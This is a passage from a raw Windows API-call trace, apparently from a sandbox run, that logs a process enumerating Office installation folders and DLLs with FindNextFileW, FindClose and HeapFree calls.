ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0288.700] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.700] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0288.703] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.703] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0288.704] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.704] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0288.707] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.707] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0288.710] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.710] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0288.711] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.711] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0288.714] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.714] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0288.718] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.718] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0288.720] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.720] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0288.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.837] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0288.840] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.840] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0288.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.842] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0288.845] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.845] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0288.845] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0288.845] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0288.845] FindNextFileW (in: hFindFile=0x3e819e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0288.845] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0289.308] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0289.310] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.310] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1 [0289.312] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.312] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0 [0289.312] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0289.312] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.312] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0289.314] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.314] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0289.316] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.316] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0289.318] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.318] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0289.318] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.318] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0289.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f820e0 | out: hHeap=0x730000) returned 1 [0289.319] FindNextFileW (in: hFindFile=0x3e818a8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0289.319] FindClose (in: hFindFile=0x3e818a8 | out: hFindFile=0x3e818a8) returned 1 [0289.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.319] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0289.319] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0289.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.319] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0289.326] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.326] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0289.326] FindClose (in: hFindFile=0x3e81da8 | out: hFindFile=0x3e81da8) returned 1 [0289.326] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f820e0 | out: hHeap=0x730000) returned 1 [0289.326] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0289.327] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f920e8 | out: hHeap=0x730000) returned 1 [0289.327] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0289.329] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f920e8 | out: hHeap=0x730000) returned 1 [0289.329] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1 [0289.329] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f920e8 | out: hHeap=0x730000) returned 1 [0289.329] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0 [0289.330] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0289.330] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.330] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0289.332] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f920e8 | out: hHeap=0x730000) returned 1 [0289.332] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0289.332] FindClose (in: hFindFile=0x3e82028 | out: hFindFile=0x3e82028) returned 1 [0289.332] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.332] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0289.332] FindClose (in: hFindFile=0x3e81928 | out: hFindFile=0x3e81928) returned 1 [0289.332] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.332] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1 [0289.334] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.334] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0289.336] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.336] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0289.337] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.337] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0289.337] FindClose (in: hFindFile=0x3e81928 | out: hFindFile=0x3e81928) returned 1 [0289.337] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.337] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, 